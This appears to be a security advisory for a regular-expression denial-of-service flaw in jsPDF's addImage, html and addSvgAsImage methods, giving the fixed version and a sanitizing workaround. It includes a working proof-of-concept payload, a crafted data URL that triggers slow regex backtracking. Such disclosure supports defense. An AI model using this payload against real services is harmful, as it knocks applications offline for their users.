jsPDF Bypass Regular Expression Denial of Service (ReDoS)
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
User control of the first argument of the `addImage` method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.
Other affected methods are: `html`, `addSvgAsImage`.
Example payload:
```js
import { jsPDF } from "jpsdf"
const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
const endTime = performance.now()
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}
doc.save("a4.pdf");
```
### Patches
The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1
### Workarounds
Sanitize image urls before passing it to the `addImage` method or one of the other affected methods.
